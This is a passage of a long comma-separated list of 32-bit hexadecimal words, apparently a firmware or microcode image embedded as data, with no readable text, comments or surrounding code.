0xf2489222, 0xb780a111, 0x0902430c, 0x0a30c09a, 0xaa01d208, 0x5a08c200, 0x0242c101, 0xa111f208, 0x4ed5b742, 0xc0027680, 0xb7809102, 0xb749430c, 0xc09a52c9, 0xd2080a30, 0x7480aa01, 0x5a08c200, 0x0242c101, 0xa911f248, 0xa111f208, 0x430cb780, 0xb5420902, 0xc09a4ecd, 0xd2080a30, 0xc200aa01, 0xc1015a08, 0xf2480242, 0xc001a112, 0xb72090c2, 0xb786430c, 0x750056a9, 0x9202c000, 0xc00074c2, 0x020391a2, 0x0a60c09a, 0xaa01d208, 0xc09a0103, 0x4a040964, 0x90c0c000, 0xc09a0103, 0x0a020964, 0xa241d008, 0x430cb720, 0xb5890a02, 0xb78452c9, 0xb5847fad, 0xb72076ad, 0xb742430c, 0x02034f4d, 0x0a30c09a, 0xaa01d208, 0xc2007480, 0xc1015a08, 0xf2480242, 0xb584aa11, 0xb72062ad, 0xc000430c, 0x0a029262, 0x6c2db544, 0x4f4db582, 0x430cb740, 0x5351b749, 0x5349b589, 0x0968c09a, 0xa142d008, 0x90c0c001, 0xc09a0203, 0xd2080a34, 0xc200aa01, 0xc1015a08, 0xf2480242, 0xb584aa11, 0xb7206c2d, 0x0203430c, 0x0a34c09a, 0xaa01d208, 0x762db744, 0xc2009e8a, 0x00c25a08, 0x79adb724, 0xc09a0a02, 0x70820d68, 0x0a42d001, 0xa241d010, 0x4fcdb742, 0x430cb720, 0xc0007480, 0x0a029262, 0x6d2db544, 0x4fcdb582, 0x430cb740, 0x53d1b749, 0x53c9b589, 0x096cc09a, 0xa142d008, 0x90c0c001, 0xc09a0203, 0xd2080a38, 0xc200aa01, 0xc1015a08, 0xf2480242, 0xb584aa11, 0xb7206d2d, 0x0203430c, 0x0a38c09a, 0xaa01d208, 0x762db744, 0xc2009e8a, 0x00c25a08, 0x79adb724, 0xc09a0a02, 0x70820d6c, 0x0a42d001, 0xa241d010, 0x430cb720, 0x4155b740, 0xb7440c06, 0x5d1072ad, 0x62adb784, 0x097c5910, 0x2901cffe, 0x6125c101, 0xb5840228, 0xb720632d, 0x0c82430c, 0x6c2db784, 0xb5840228, 0xb7206cad, 0xb784430c, 0x01286d2d, 0x6dadb544, 0x430cb720, 0x4e8cb780, 0x5529b769, 0x4000ba1b, 0x01b8d020, 0x5a30c180, 0xc0219ea2, 0xc1120d00, 0xc0010d10, 0xd0319180, 0xb784a066, 0xf21072ad, 0x1a04a929, 0x5a40c200, 0xc00e1904, 0xc00f297c, 0x32442a7c, 0xf0009dae, 0x9e69a261, 0xb7419e54, 0xc03672ad, 0x9dcd0a00, 0xa161f000, 0x732db741, 0x9dcd0a20, 0xa161f000, 0x722db741, 0x1a30c008, 0xf0009dcd, 0xc100a161, 0xb7200d00, 0xd110430c, 0x0c840517, 0x55a9b789, 0xfffe7088, 0x754091dc, 0x9182c000, 0xb786048b, 0x75005649, 0x92c4c000, 0x57cdb582, 0x9240c000, 0x048b9e69, 0x54adb781, 0x552db741, 0x6b29b589, 0x430cb720, 0x6ccbb544, 0x732db724, 0x6d4bb524, 0x460cb740, 0xaa41f048, 0xc0007508, 0x1a0c90a4, 0xa241f048, 0x430cb720, 0x8d80e272, 0x6fb5b7c4, 0x6e2db7c4, 0x9340c000, 0x9b7cff74, 0x430cb720, 0x8d80e272, 0xc0a80203, 0xd2080a30, 0x7500aa01, 0x93e4c00c, 0x6e2db784, 0xc0007188, 0xb78490e4, 0x73996fad, 0x9082c000, 0x9b4affd4, 0x430cb780, 0x0a10c09e, 0xa982d208, 0x9b5eff94, 0x743ec01c, 0x0d920281, 0x9342fffe, 0x430cb780, 0x09060b02, 0x0a34c0a8, 0xa301d208, 0x430cb780, 0x0a58c0a0, 0xa101d208, 0x430cb720, 0xc0a80203, 0xd2080a10, 0x7500aa01, 0x9082c000, 0x4f2bb54b, 0x430cb720, 0x2bfcc00e, 0x5429b729, 0xd01210f2, 0xcffe1992, 0xffb42dfc, 0x9e699874, 0x5629b786, 0xc0007500, 0xb7209162, 0x0a16430c, 0x5d2db583, 0x430cb720, 0x40adb584, 0xb5c6048b, 0xb7205649, 0xb78b430c, 0x75004f2b, 0x92e2c000, 0xc0a80103, 0xd0080910, 0x7500aa41, 0x91e2c000, 0xa341d008, 0x430cb740, 0xc0a80205, 0xd2080a14, 0xc0a0aa01, 0xd0080958, 0xb780a241, 0xc0a0430c, 0xd2080a58, 0x7500aa01, 0x9082c000, 0x9a54ffd4, 0x430cb720, 0xb5850a02, 0xb720422d, 0xb585430c, 0xb72043ad, 0xb769430c, 0xff745631, 0x9e699afc, 0x430cb780, 0x6a2bb743, 0x0a04c0a0, 0xd2087480, 0xc007a281, 0xb7a09102, 0x020b430c, 0x0a58c0a0, 0xaa01d208, 0xc0067500, 0x020b9022, 0x0a04c0a0, 0xaa01d208, 0xe2519ea9, 0xc2008d08, 0x00ca5a08, 0x7035b740, 0x5551b769, 0x09a6c008, 0x9abaff34, 0xb781008b, 0x750464ad, 0x9164c001, 0x430cb720, 0x73adb784, 0xc0007504, 0xb7839124, 0x75005429, 0x9184c000, 0x93a0c000, 0xc0007506, 0xb7839344, 0x750254a9, 0x92a4c000, 0xc0a00203, 0xd2080a04, 0x0103aa01, 0x5531b769, 0x5a08c200, 0xb74000c2, 0xc09075b5, 0xc0040970, 0xff340992, 0xe2529a8b, 0xb7808d08, 0xd010430c, 0x9e53a941, 0x0a48c0aa, 0xa101d208, 0x430cb720, 0xa965d029, 0xb7860c02, 0x048556a9, 0x08ccc0aa, 0x0a027500, 0x0a42d002, 0x05815150, 0x4029b540, 0x9300c000, 0xa969d029, 0xc0aa0214, 0xd2080a40, 0xb780a192, 0xd030430c, 0x0128a92a, 0x0960c0ae, 0xa142d008, 0x4049b780, 0x0639d110, 0x29ced3f2, 0x430cb720, 0x2e0ed3f1, 0x01030c04, 0x0948c0aa, 0xa941d008, 0xfffe7088, 0x9e8b93f2, 0x73adb764, 0x0de0c06c, 0x9985ffb4, 0xb786048b, 0x750056c9, 0x9082c001, 0x430cb720, 0xc0a00203, 0xd2080a54, 0x9e8baa01, 0xc07e7500, 0xc0000dd0, 0xb7649102, 0xffb473ad, 0xc000996e, 0x9e8a9220, 0xc06c0109, 0xb9600d60, 0x9e5348d8, 0xc0209e91, 0x0904aa65, 0xa269c010, 0x9321ffff, 0x430cb720, 0x09020a7f, 0x5229b589, 0x430cb780, 0x0a5cc0a6, 0xa101d208, 0x430cb720, 0x5631b769, 0x9bcbff74, 0x430cb720, 0xb7890902, 0xc0b655a9, 0xb5800890, 0xb7804029, 0xc0b6430c, 0xd2080a14, 0xb780a101, 0xc0a6430c, 0xd2080a50, 0xc001a101, 0x9e929080, 0x4030b960, 0x430cb720, 0x5c8cc100, 0xd1100d04, 0xb5440493, 0xb7204eab, 0xd110430c, 0xb5440493, 0xb7204f2b, 0xd110430c, 0xb5440493, 0xb7804fab, 0xc101430c, 0xb5440498, 0xffff504b, 0xfff790a1, 0xb79f9340, 0xb7bf74ee, 0xb7df756e, 0xb7ff75ee, 0xc00a766e, 0x9c228c60, 0xa205f839, 0x430cb720, 0x0d86090e, 0xc09a0203, 0xd2080a14, 0xb789a902, 0xc09a5429, 0x768008f8, 0x4822b322, 0x01280a08, 0x4029b540, 0x430cb780, 0xc09a0902, 0xd2080a7c, 0xc000a101, 0xd0089320, 0xb780a1de, 0xc101430c, 0x01850146, 0x0a78c09a, 0x09e0c09a, 0xa901d208, 0xaa7dd008, 0x71040d84, 0x1144d020, 0x9086c000, 0xa17ed008, 0x430cb720, 0x0216c101, 0x02030109, 0x0a78c09a, 0xaa01d208, 0x0960c09a, 0xfffe72d9, 0x02039398, 0x0a10c09a, 0xaa01d208, 0x52adb581, 0x430cb720, 0xc09a0203, 0xd2080a14, 0xb585aa01, 0xb7404c29, 0x0205430c, 0x0a10c09a, 0xaa01d208, 0x091cc09a, 0xd0080a04, 0xb780a241, 0x097f430c, 0x0a18c09a, 0xa101d208, 0x430cb720, 0x4c29b785, 0xb7690103, 0x75005529, 0x0910c098, 0x90c2c000, 0x7a35b740, 0x9080c000, 0x74b5b740, 0x29bed3f2, 0xff3409c2, 0xb7209945, 0xb781430c, 0xb74952ad, 0xc200612b, 0xcff05a0c, 0xc00e291d, 0x32442a60, 0x612bb589, 0x430cb720, 0xb5840a02, 0xf9f86fad, 0x9c22aa1d, 0xc006a61d, 0xb7208440, 0xf1d2430c, 0xb7238d00, 0xb7c35ab5, 0xa09a59ad, 0x592db783, 0x0a06a211, 0x5218c200, 0x28ced3f2, 0x2cfcc00e, 0xb723a09e, 0x05835a2d, 0xff74a095, 0xb720992a, 0xe1d14314, 0xb9608d00, 0xb7ed4028, 0xb7ed5a49, 0x9e495ad1, 0x4aadb783, 0xa241f008, 0x4b2db783, 0xa245f008, 0x4badb783, 0xa249f008, 0x4c2db783, 0xf00808c0, 0x0940a24d, 0x91c1ffff, 0x5a55b743, 0xd3f29e4a, 0xc0b629ee, 0xb7a909aa, 0xb7a97d51, 0xff347dc9, 0xb72098e5, 0x0d02430c, 0x4028b960, 0x7da9b5a9, 0x430cb720, 0x7d31b5a9, 0x430cb720, 0x5a29b5ed, 0x430cb720, 0x5ab1b5ed, 0x430cb720, 0xaa41f210, 0x5c90c100, 0x0493d110, 0xb5830d04, 0xb7204aad, 0xf210430c, 0xd110aa45, 0xb5830493, 0xb7204b2d, 0xf210430c, 0xd110aa49, 0xb5830493, 0xb7804bad, 0xf210430c, 0x0f40a94d, 0x0498c101, 0x4c4db543, 0x9381fffe, 0x430cb720, 0x0902aa11, 0x0982c021, 0x592db583, 0x430cb720, 0x0d02c021, 0x0980c014, 0x59adb5c3, 0x430cb720, 0xc014a896, 0xb9600d10, 0xb5234038, 0xb7205a35, 0xaa19430c, 0x5aadb583, 0x430cb780, 0x0a30c0a8, 0xa101d208, 0x430cb780, 0x0a34c0a8, 0xa101d208, 0x430cb7c0, 0xd2f1008d, 0xb5820a68, 0xb7205e2d, 0x9e494314, 0x4badb781, 0xf0009dbd, 0xb781a261, 0x9dae4fad, 0xa261f000, 0xffff1890, 0x008d92a1, 0x5629b786, 0xc0067500, 0xc00e9062, 0xb5850a7e, 0xb720514d, 0x0a82430c, 0xb5a40e86, 0xb7206ead, 0xb5a4430c, 0xb7206f2d, 0xb5a4430c, 0xb720702d, 0xb5a4430c, 0xb72073b5, 0xb5a4430c, 0xb780742d, 0xc0a0430c, 0xd2080a50, 0xb780a281, 0xc0a0430c, 0xd2080a58, 0xb720a282, 0xb781430c, 0xc09a52ad, 0xb5800890, 0xb7204029, 0xb785430c, 0xc09a4c29, 0xb5800894, 0xfff44029, 0xb7409a6b, 0x9eaa430c, 0x02059e6b, 0x0a78c09a, 0xaa01d208, 0x4038b960, 0xc09a0128, 0xd0080960, 0xb780a25d, 0xd110430c, 0x0d040629, 0x0a20c09e, 0xa199d208, 0x92e1ffff, 0x430cb720, 0x4c29b785, 0xb7690103, 0x75005529, 0x0900c0a2, 0x9102c000, 0x63b5b741, 0x29bed3f2, 0x91c0c000, 0x52adb781, 0x6335b741, 0x29bed3f2, 0x5a1cc200, 0x1d00c008, 0x0528c101, 0x09d2c004, 0x9bf0ff14, 0x430cb780, 0xf2080902, 0xc0a0a94e, 0xd2080a00, 0xb720a101, 0xf208430c, 0x9eb1aa49, 0x72b5b544, 0x430cb7a0, 0x554db761, 0xb764008b, 0xc10172b5, 0xc0b465b9, 0x9eb19a34, 0xb781008b, 0xb5045f4b, 0xb740732d, 0x75004314, 0x9142c000, 0x0a6a9e52, 0x095cc0a0, 0xa241d008, 0x9140c000, 0x9e549eb1, 0x54cdb741, 0x0a5cc0a0, 0xa101d208, 0x430cb720, 0x0d7f0902, 0x54adb781, 0x08e0c0a0, 0x4040b960, 0x4029b580, 0x430cb780, 0xc09e0228, 0xd2080a00, 0x0904a116, 0x9301ffff, 0xb7209eb1, 0xb781430c, 0xb585654d, 0xb720552d, 0xb785430c, 0x7508552d, 0x9304c000, 0x7455b741, 0x7e80c100, 0x9242c000, 0x1a0c0103, 0x0940c0aa, 0xa241d008, 0x2d00c100, 0x430cb720, 0x0a047680, 0x1a42d001, 0x55adb585, 0xb741008d, 0xb780652d, 0xb741430c, 0x748064b5, 0xd0020902, 0xc0aa0922, 0xd2080a10, 0xb780a101, 0x7684430c, 0xd0010902, 0xc0aa0922, 0xd2080a44, 0xb720a101, 0xb785430c, 0x7506552d, 0x9162c000, 0xc0007500, 0xc8099104, 0xc7fc0a42, 0xb5850a30, 0xa99e6c2d, 0x776eb79f, 0x77eeb7bf, 0x786eb7df, 0x78eeb7ff, 0x8c40c008, 0x91a0ff68, 0x8440a61d, 0x430cb720, 0xc0a80203, 0xd2080a30, 0x7500aa01, 0x92c4c00a, 0xc0a00203, 0xd2080a58, 0x7500aa01, 0x90c2c001, 0x5529b7a9, 0x460cb7c0, 0x9320c000, 0x0a58d011, 0x2a7cc00e, 0x024c6a52, 0x0ac8d032, 0x9080c000, 0x9b28ff54, 0xaa21f210, 0x750a0d92, 0x9344ffff, 0x0a52d011, 0xc00e0289, 0xb7202afc, 0xb789430c, 0x710a55a9, 0x9088ffff, 0x430cb720, 0xc0a00203, 0xd2080a58, 0x7500aa01, 0x9364c001, 0xb7c99ea3, 0xff7455b1, 0xb7809b8a, 0xc0a8430c, 0xd2080a30, 0x7580ab01, 0x9244c008, 0x9eaa0a86, 0xc00e56d8, 0x058b2efc, 0x9b0bff54, 0x9eb19eb2, 0x008b018d, 0x058d010d, 0xa319a31d, 0xffb4a295, 0xb7209849, 0xb740430c, 0x9e744e0c, 0x4590b760, 0xa905c220, 0x6631b74d, 0x04879e73, 0x9805ff74, 0xff74058b, 0xb7809898, 0x097f530c, 0xc2209ea2, 0xb720a149, 0x0203430c, 0x0a10c0aa, 0xaa01d208, 0xc0007500, 0xb78591a2, 0xb7656b2d, 0x018343b5, 0x09f0c0b2, 0x9c629ea4, 0x9080c000, 0x4f2bb58b, 0x430cb720, 0x6eadb784, 0xb5840a04, 0xb7206ead, 0x0203430c, 0x0a58c0a0, 0xaa01d208, 0xc0027500, 0xb7849142, 0x0a046f2d, 0x6f2db584, 0x4314b740, 0x0d54c0a0, 0xaa41d010, 0xc0007500, 0x09029342, 0xa141d010, 0x430cb720, 0x5429b789, 0xc09a0218, 0xd2080a64, 0x0098aa1d, 0x0880c09c, 0x4329b540, 0x430cb780, 0xc09a1904, 0xd2080a18, 0xb720a101, 0xb784430c, 0x750673ad, 0x9182c000, 0x41adb785, 0x40adb585, 0x430cb720, 0x412db785, 0x41adb585, 0x430cb720, 0x76adb784, 0x762db584, 0x430cb740, 0xc09a0205, 0xd2080a64, 0xc09aaa01, 0xd0080960, 0xb780a241, 0x0a82430c, 0x0a50c0a0, 0xa281d208, 0x430cb720, 0x6fadb744, 0xc0007480, 0xb78491a2, 0x70886ead, 0x9104c000, 0x9888fff4, 0x430cb720, 0x512db5a5, 0x430cb720, 0x0c82c010, 0xb7490d82, 0xb7695529, 0xc00055a9, 0x9dcd9140, 0xa0e2f000, 0xf0009dcd, 0xd3f1a1e2, 0xd0122d2e, 0x70860922, 0x5e30d122, 0x0a00c021, 0x9234ffff, 0x6a33b743, 0xc0017680, 0xb78393a4, 0x0b825d2d, 0x75020902, 0x0bf2d00a, 0xd0017504, 0x75080922, 0xd0010a02, 0x75c00a42, 0xc0003128, 0x9e5690a2, 0x90c0c000, 0x0b067480, 0x0b62d001, 0xd0120f82, 0x068f4b22, 0x9360c000, 0x9e6b9eab, 0x0a849eb2, 0x9b0fff74, 0xffff7548, 0x75c09324, 0x9164c000, 0x9e6b9eab, 0x050d0a84, 0x9b03ff74, 0xffff754e, 0x0e849324, 0xc0007748, 0x9e7d90a2, 0x90c0ffff, 0x7d6eb79f, 0x7deeb7bf, 0x7e6eb7df, 0x7eeeb7ff, 0x8c40c002, 0xb7409c22, 0xb7204e14, 0xc020430c, 0xb741a9ea, 0x5d8864ad, 0x04b3d110, 0xb7827484, 0xc2007ead, 0xc000580c, 0xcd6e90a4, 0x9c220841, 0x0850cfff, 0x0800c460, 0xd8109c22, 0xdffcaa71, 0xb340753e, 0xb72048a2, 0xb581430c, 0xb720522d, 0xd810430c, 0xb581aa71, 0xb72051ad, 0xd810430c, 0xb744aa71, 0xc200702d, 0x70885a05, 0x48bcb340, 0xb5840a02, 0x9c22702d, 0x5e1bf1a2, 0x90acc000, 0x0802c002, 0xd0029c22, 0x0a047100, 0xba000009, 0x9c224000, 0x9e5ca60d, 0xe0000f06, 0xd0054238, 0x9e561f64, 0x72c0d414, 0x70c0d414, 0x7540c008, 0x915cc000, 0xfff49eab, 0x9e829be1, 0x52a3c200, 0x56abc200, 0x7740c005, 0x927cc000, 0x5e57f2a2, 0x90ccc000, 0x0a02c002, 0x90e0c000, 0x7100d002, 0xba240a04, 0x9ea24000, 0xc2000368, 0xb74056ab, 0x025a458c, 0xa926c220, 0x450cb740, 0xca20729d, 0xd131aa05, 0xd11d6459, 0xd11e162d, 0xd01a1265, 0xd01c5013, 0xc1015010, 0xb79f600d, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0xa60d9c22, 0x430cb7a0, 0x008b0687, 0x64adb781, 0xc0057504, 0xb74091a4, 0xc001438c, 0xc03e0a0e, 0x70880a7c, 0x9094c005, 0x9b5bfff4, 0x5e08d2a2, 0xb74300ca, 0x0a0642ad, 0xc8121004, 0x9e967100, 0x4608b740, 0xc0a6020b, 0xd2080a50, 0x7480a902, 0xd0020a02, 0x75000a42, 0xb3460b1e, 0x76804422, 0x92a2c000, 0xf208008b, 0xb764aa29, 0xb74372b5, 0xb769452d, 0xc10154a9, 0x0d0265b9, 0x15b4c101, 0x9b76fff4, 0xc0000181, 0xb7439100, 0xb785442d, 0x12444fad, 0xcffe0189, 0x74c029fc, 0x9102c003, 0x7780c080, 0xc0009e72, 0xcfc09094, 0xc1000901, 0x12aa5a8d, 0x11aad020, 0xfff40d02, 0x09069b59, 0x7080c012, 0xc03e0982, 0xc4100a7e, 0x9e8a70c8, 0xc8129e93, 0xc0107286, 0xc0127008, 0xb7807004, 0xd2a2430c, 0x00985c88, 0x42adb743, 0x0a7ec00f, 0x0a7ccffe, 0xd41002d4, 0xd4127148, 0x5d587146, 0x4435b763, 0xc3009e54, 0x39045918, 0xd0123128, 0xc0030d52, 0x76c00a7e, 0xcf000087, 0x5d300a00, 0xd0015830, 0x200808b4, 0x9e5476c0, 0x09b8d001, 0x31263120, 0x0a00c021, 0xc01e3122, 0x9dcd0a40, 0xa161f000, 0x0a7ec0ff, 0x0a40cffe, 0x5a90c280, 0x22d876c0, 0xd0020a0a, 0x3a841a44, 0x0d00c021, 0xc01e32d8, 0x9dae0d50, 0xa2e1f000, 0x7eeeb79f, 0x7f6eb7bf, 0x7feeb7df, 0x9c228c60, 0xc002a61d, 0xd0118440, 0xd2240a32, 0x9e9e5ab0, 0x07879e6c, 0x0a00c021, 0x0a30c03c, 0xaa619d4d, 0x430cb740, 0xd3229ea2, 0xcff05e88, 0x5d212d00, 0x2a7cc00e, 0xb55f0154, 0xb59f7472, 0xc06274ea, 0xf0080900, 0xc101a9c1, 0x050b0244, 0xf0080246, 0xb720a241, 0xf0d1430c, 0xb77f8c00, 0xda08746a, 0xb783a905, 0xc021452d, 0x01260d00, 0xc03a0244, 0xb5830d00, 0x9d2e452d, 0x9e6ca962, 0x2d7ec7ff, 0x0a00c021, 0x7af4b55f, 0x0a20c03a, 0xaa619d4d, 0x2a7ec7ff, 0x7b6cb59f, 0xc0219e6c, 0xc03a0a00, 0x9d4d0a10, 0xa211aa61, 0xc0219e6c, 0xc03a0a00, 0x9d4d0a30, 0x058baa61, 0x0d80c021, 0xc042a215, 0x9d3e0dc0, 0x050ba9e2, 0x2dfec00f, 0x0d00c021, 0x7c74b57f, 0x0d50c042, 0xa9629d2e, 0xc00f9e6f, 0xc0212d7e, 0xb55f0b80, 0xc0427cf4, 0x9d7d0ba0, 0x9e6ba8e2, 0x2cfccffe, 0x0980c021, 0x7df4b53f, 0x09b0c042, 0xa9e19d3d, 0xc00f9e6c, 0xc02129fe, 0xb57f0a00, 0xc0467d6c, 0x9d4d0a60, 0xb720aa61, 0x0109430c, 0x297cc3ff, 0xc3fe5941, 0xb55f2a7c, 0xb59f776a, 0x00d277ea, 0x42adb783, 0x05220526, 0x0526c101, 0x0244c101, 0x42adb583, 0x430cb720, 0xb783058d, 0xc10143ad, 0xb5830244, 0xb7c043ad, 0xfff4430c, 0x02dc9a00, 0xb783008b, 0x710042ad, 0x90e6c000, 0x00ecc101, 0xb58c0a06, 0xb7205629, 0xb781430c, 0x750464ad, 0x9184c001, 0xc0219e6c, 0xc01e0a00, 0x9d4d0a60, 0xc200aa61, 0xc20059e1, 0xd2245921, 0xb59f5941, 0x9e6c7c68, 0x7ce8b55f, 0x0a00c021, 0x7d70b55f, 0x7de8b57f, 0x0a70c01e, 0xaa619d4d, 0x5941d224, 0x59e1c200, 0x5921c200, 0x7ee8b55f, 0x7f70b55f, 0x7fe8b57f, 0x7e68b59f, 0x2deed3f2, 0x9a51fff4, 0xb7809e6a, 0xc300540c, 0xc0215d18, 0xc0420900, 0xd1300910, 0x9d2d0529, 0x9e92a961, 0xa9c2d858, 0xa8c5d858, 0xa8cad858, 0xa84ed858, 0xcff00205, 0xc00f2a00, 0xc1002d7c, 0xc20059e1, 0x5d415a21, 0x297cc00e, 0x0246c101, 0x05220122, 0x01b0c101, 0xa241d858, 0xa145d858, 0xa14ad858, 0xa1cdd858, 0xa9619d7d, 0xaa51d858, 0xf0185961, 0x0128a95e, 0x7decb79f, 0xa9c1f058, 0x8c80f0d1, 0x0528c101, 0x7d6cb79f, 0xa9c6f058, 0xa83dda08, 0xb79f01b8, 0xf0587c6c, 0xb7bfa8d2, 0xf0587af4, 0xda08ab55, 0xf058aab9, 0xf058a8c9, 0xc101a84e, 0xb79f05b8, 0xc1017cec, 0x087f0490, 0x0098400c, 0x040ac101, 0xd858701b, 0xf018a151, 0xf058a15e, 0xf058a1c1, 0xf058a1c6, 0xf058a0c9, 0xf058a0d2, 0xc000a04e, 0xd0d891b2, 0xd110aa49, 0x0a041551, 0xa155f058, 0xa249d0d8, 0x90c0c000, 0x026ac101, 0xa255f058, 0xaa59f058, 0x7b6cb75f, 0x4d7d9ea2, 0xc0007295, 0xd0d891b2, 0xc101aa4d, 0xf0581124, 0x0a04a159, 0xa24dd0d8, 0x90a0c000, 0xf0580244, 0xb720a259, 0x0203430c, 0x0a10c0aa, 0xaa01d208, 0xc0007500, 0xb7859142, 0x9e7369ad, 0x8d00e0d2, 0x9ea4058f, 0xb79f9c62, 0xb7bf7b6e, 0xb7df7bee, 0xb7ff7c6e, 0xc0047cee, 0x9c228c40, 0xb720a60d, 0x0203430c, 0x0a30c0a8, 0xab02d208, 0x55a9b7c9, 0xc0027780, 0x0a869244, 0x5238c200, 0xc00e9ea5, 0x058b2efc, 0x9aebff34, 0xff549eab, 0xb7209b56, 0xb781430c, 0x1a0864ad, 0xb3637506, 0xc0004832, 0xd22692d2, 0x85205908, 0x8044e050, 0x940a9408, 0x9401940c, 0x0982c101, 0x9120c000, 0xc0000986, 0x098e90c0, 0x9060c000, 0xb746098a, 0xc02056b1, 0xc3000a02, 0x76805930, 0x4822b324, 0x0900c140, 0xc0213246, 0x9dad0900, 0xa261f000, 0xc0a00203, 0xb7630a60, 0xd2085a2d, 0x9eb3a902, 0xff340906, 0x058b995a, 0x7eeeb79f, 0x7f6eb7bf, 0x7feeb7df, 0xff428c60, 0xb79f91c0, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0xa61d9c22, 0x8420c016, 0x6df4b57f, 0xaa61d050, 0xa9e6d050, 0x9ea61a10, 0xc00e1d88, 0xc00e2f7c, 0xfef42dfc, 0xd0119a27, 0xd0100e62, 0xc200056c, 0xb7805bb0, 0xc3004f8c, 0x9e435c08, 0xb7800128, 0xb55f4e0c, 0x9e727aec, 0x0128000f, 0x4d8cb780, 0x0800c040, 0x5aecb51f, 0xb59f0238, 0xb7806e6c, 0x9e70528c, 0x716cb55f, 0xb7800008, 0x9e724e8c, 0x430cb720, 0xb77f0128, 0xb7805af4, 0x9e73530c, 0x04e3d110, 0xc02101b8, 0x0a020d80, 0xb51f9ebf, 0xb51f6ef4, 0xb55f566c, 0xb57f7dec, 0xb57f7bec, 0x000f79f4, 0x7c29b589, 0x020f9eb8, 0x9eba9eb9, 0xc0219ebb, 0xc0210a00, 0xc0210f80, 0x008f0800, 0x018f010f, 0x0a00c01e, 0x0f90c01e, 0x0820c01e, 0x0c00c021, 0x0880c021, 0x0c80c021, 0x0900c021, 0x0d00c021, 0x0980c021, 0x0d80c021, 0x77ecb59f, 0x7774b5ff, 0x76ecb51f, 0x0c40c046, 0x08f0c014, 0x0c80c010, 0x0910c010, 0x0d20c010, 0x09b0c010, 0x0d80c004, 0x1a60c00a, 0x1fe0c00a, 0x1860c00c, 0x72f4b51f, 0x5b6cb53f, 0x7074b53f, 0x5cecb55f, 0x5c74b55f, 0x5becb57f, 0x6274b57f, 0x61ecb59f, 0x6174b5ff, 0x7a6cb51f, 0x0c11cfca, 0x1890c004, 0xc0020cf0, 0xc0020940, 0xc0020d40, 0xc01009c0, 0x0a600d90, 0xc0020ff0, 0xb51f0800, 0xb53f7b74, 0xb53f78ec, 0xb55f7874, 0xb55f606c, 0xb57f7674, 0xb57f75ec, 0xb59f5f74, 0xc02a5eec, 0xb5ff0c70, 0xc02c5e74, 0xc00408a0, 0xc0040cd0, 0xc0040900, 0xc00c0d00, 0xc0240990, 0xc00e0db0, 0xc0101a40, 0xb51f0fe0, 0xc0325dec, 0xb51f0830, 0xb53f7574, 0xc0086cec, 0xcfd80c40, 0xb53f08b1, 0xb55f70f4, 0xc01e69ec, 0x19700cc0, 0x6974b55f, 0x68ecb57f, 0x0d50c06a, 0x09d0c026, 0x71f4b57f, 0x686cb59f, 0x0de1cfe0, 0x0a70c014, 0x7274b5ff, 0x67ecb51f, 0xcfce0fc0, 0xb51f0841, 0xb53f6774, 0xb53f66ec, 0xb55f6674, 0xb55f65ec, 0xb57f6574, 0xb57f64ec, 0xb59f6474, 0xb5ff736c, 0xb51f63f4, 0xcfd073ec, 0x18f00c21, 0x0cd1cfde, 0x0920c002, 0x0d11cf7e, 0x09d1cfb8, 0x0dd0c02c, 0x0a40c01e, 0x0fe0c018, 0x0860c02a, 0x7474b51f, 0x74ecb53f, 0x6374b53f, 0x62ecb55f, 0x7c74b55f, 0x796cb57f, 0x6a74b57f, 0x6aecb59f, 0x6b74b5ff, 0x6becb51f, 0x90a0c050, 0x0982058d, 0x9935ff54, 0x4314b700, 0x7d74b51f, 0x6a4ab743, 0xc0037480, 0xb7849364, 0x0b0273cc, 0x75020e82, 0x0b62d00a, 0xd0017504, 0x75800ed2, 0x90c4c000, 0x09067740, 0x0922d001, 0x7d6cb73f, 0x5a0cc100, 0xd0206963, 0x08020118, 0x0abec001, 0xd0200405, 0x9d0903a8, 0x0a80cfc0, 0x0c28c03a, 0x4018b960, 0x4e52d011, 0x7d6cb75f, 0x5a08c200, 0x04f0d010, 0x02480240, 0x00c4d020, 0x5a2bb780, 0x502bb740, 0xba247580, 0xc2004002, 0x224a5a28, 0x297cc03e, 0x31c49dcb, 0x4052b760, 0x462bb720, 0x92a4c000, 0x40cbb784, 0x4acbb744, 0x76d3b743, 0x4002ba24, 0x5a28c200, 0x5950224a, 0xc3ff9ea1, 0xc03e2940, 0x31b42d7c, 0xd3f13514, 0x75062a0e, 0x90e2c000, 0x77ecb75f, 0xf0009dad, 0xba21a1e1, 0xc03e4002, 0x9e5b2dfc, 0x5a28c200, 0x3246224a, 0x7774b77f, 0xf0009dbe, 0xb79fa261, 0x9dcd76ec, 0xa162f000, 0x0c080804, 0x91c1fffd, 0xff74058d, 0xb7ff9bf2, 0xd2107174, 0xc01caa61, 0xc000753e, 0xc0009324, 0xff349080, 0x058d98b3, 0x98d4ff54, 0x743ec01c, 0xffff0d8a, 0xb7809302, 0xc000430c, 0xb71f5888, 0x00986e6c, 0x7aadb722, 0x402cb520, 0xff74058d, 0x74009b44, 0x90c4c000, 0x097ec00e, 0x9060c004, 0x430cb740, 0xc0a60205, 0xd2080a50, 0x7680a902, 0x90e2c001, 0x01859e93, 0x09e8c0a6, 0x0dc8c0aa, 0xa962d008, 0xaa61d010, 0xc0007115, 0xb71f91f2, 0x0a027df4, 0x4048b580, 0xaa61d008, 0xa961d010, 0x9ea21244, 0x2d7cc00e, 0x430cb740, 0x0968c0a6, 0xaa41d008, 0xd0080a04, 0xc001a241, 0xc10193c0, 0x020300ac, 0xc0a60103, 0xc0a60a60, 0xd2080940, 0xd008aa01, 0x7104a955, 0x9064c001, 0x7df4b73f, 0x4051b540, 0x7c31b549, 0x430cb7a0, 0x000b020b, 0x0a48c0aa, 0x55b0b769, 0xaa01d208, 0x54a8b769, 0xc10115bc, 0xc10102dc, 0xd01165b9, 0xd1201a32, 0xc0a601c7, 0xc0740ae0, 0xd2089a99, 0xb780a021, 0xc101430c, 0xc0a6024c, 0xd2080a60, 0xd011a902, 0xd2080d22, 0xb780a101, 0xc0a0430c, 0xd2080a54, 0x7500aa01, 0x9142c000, 0x7df4b71f, 0x4048b780, 0x0a027500, 0x0a42d002, 0x566cb73f, 0xb5809e52, 0xb73f4029, 0xd3f17bf4, 0x75002a2e, 0x4049b580, 0x90a4c000, 0xff54058d, 0xb75f9b19, 0xd0087dec, 0xb740aa41, 0x7500430c, 0x90c2c000, 0x0960c06c, 0x9080c000, 0x0950c07e, 0xb55f058d, 0xffd47cec, 0xb77f9aa6, 0xb71f7cec, 0xf0087d6c, 0xb741a962, 